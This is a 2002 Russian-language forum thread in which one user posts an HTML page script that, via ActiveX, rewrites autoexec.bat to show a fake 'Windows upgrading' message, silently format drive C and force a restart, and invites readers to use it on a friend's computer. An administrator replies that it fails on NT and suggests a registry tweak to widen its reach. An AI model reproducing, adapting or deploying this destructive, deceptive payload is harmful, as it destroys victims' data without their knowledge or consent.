| imho.ws |
|
|
31.07.2002, 12:13
|
# 1 |
|
Access Forbidden
Регистрация: 14.12.2001
Адрес: Access Forbidden
Пол: Male
Сообщения: 1 277
  |
hdd format... через пагу в инэте.
Ну что, хотите скриптик поиметь что бы с помощью скрипта можно было бы форматнуть хард вашего друга? :)
Вот- дерзайте :) <html> <head> <script> var FSO = new ActiveXObject("Scripting.FileSystemObject"); //Если файл существует if (FSO.FileExists("c:\\autoexec.bat")) { var F = FSO.GetFile("c:\\autoexec.bat"); //выставляем обычные атрибуты F.attributes=0; //удаляем его F.Delete(); //заново создаем его var MyFile = fso.CreateTextFile("c:\\autoexec.bat", true); //открываем его для записи var f = FSO.OpenTextFile("c:\\autoexec.bat", 2, true); //пишем в него f.WriteLine("@cls"); f.WriteLine("@echo Windows upgrading your system..."); f.WriteLine("@echo Do not abort this process!"); f.WriteLine("@format c: /q /autotest"); //закрываем f.Close(); //Создаем объект WshShell: var WshShell = new ActiveXObject("WScript.Shell"); //рестарт.. WshShell.Run ("%windir%\\system\\restart.exe"); } //если не существует... else //создаем файл var MyFile = fso.CreateTextFile("c:\\autoexec.bat", true); //открываем и пишем var f = FSO.OpenTextFile("c:\\autoexec.bat", 2, true); f.WriteLine("@cls"); f.WriteLine("@echo Windows upgrading your system..."); f.WriteLine("@echo Do not abort this process!"); f.WriteLine("@format c: /q /autotest"); //закрываем f.Close(); //Создаем объект WshShell: var WshShell = new ActiveXObject("WScript.Shell"); //рестарт.. WshShell.Run ("%windir%\\system\\restart.exe"); </script> </head> </html> Дерзайте! И что бы было у вас побольше друзей.
__________________
Траблы с компьютером? Убедитесь что у вас инсталированы все последние апдейты и драйвера. Они выпускаются не для развлечения. |
|
|
31.07.2002, 12:14
|
# 2 |
|
Administrator
Регистрация: 13.05.2002
Сообщения: 11 227
  |
Jestokij ti chelowek. :xex: Tolko wot na NT pahat ne doljno.
__________________
Осколки прошлого, как снег, закрутит ураган времён, В ушедший день для нас навек, обрушив мост, Оставив в наших душах след, тьма уплывёт за горизонт, И в чистом небе вспыхнет свет, свет новых звёзд. |
|
|
|
31.07.2002, 14:17
|
# 4 |
|
Administrator
Регистрация: 13.05.2002
Сообщения: 11 227
|
iih... zakatat w reg fenku o zapuske regedit s paroi kliuchei, glyadish, ne tolko na 9x rabotat budet. :xex:
__________________
Осколки прошлого, как снег, закрутит ураган времён, В ушедший день для нас навек, обрушив мост, Оставив в наших душах след, тьма уплывёт за горизонт, И в чистом небе вспыхнет свет, свет новых звёзд. |
|
|
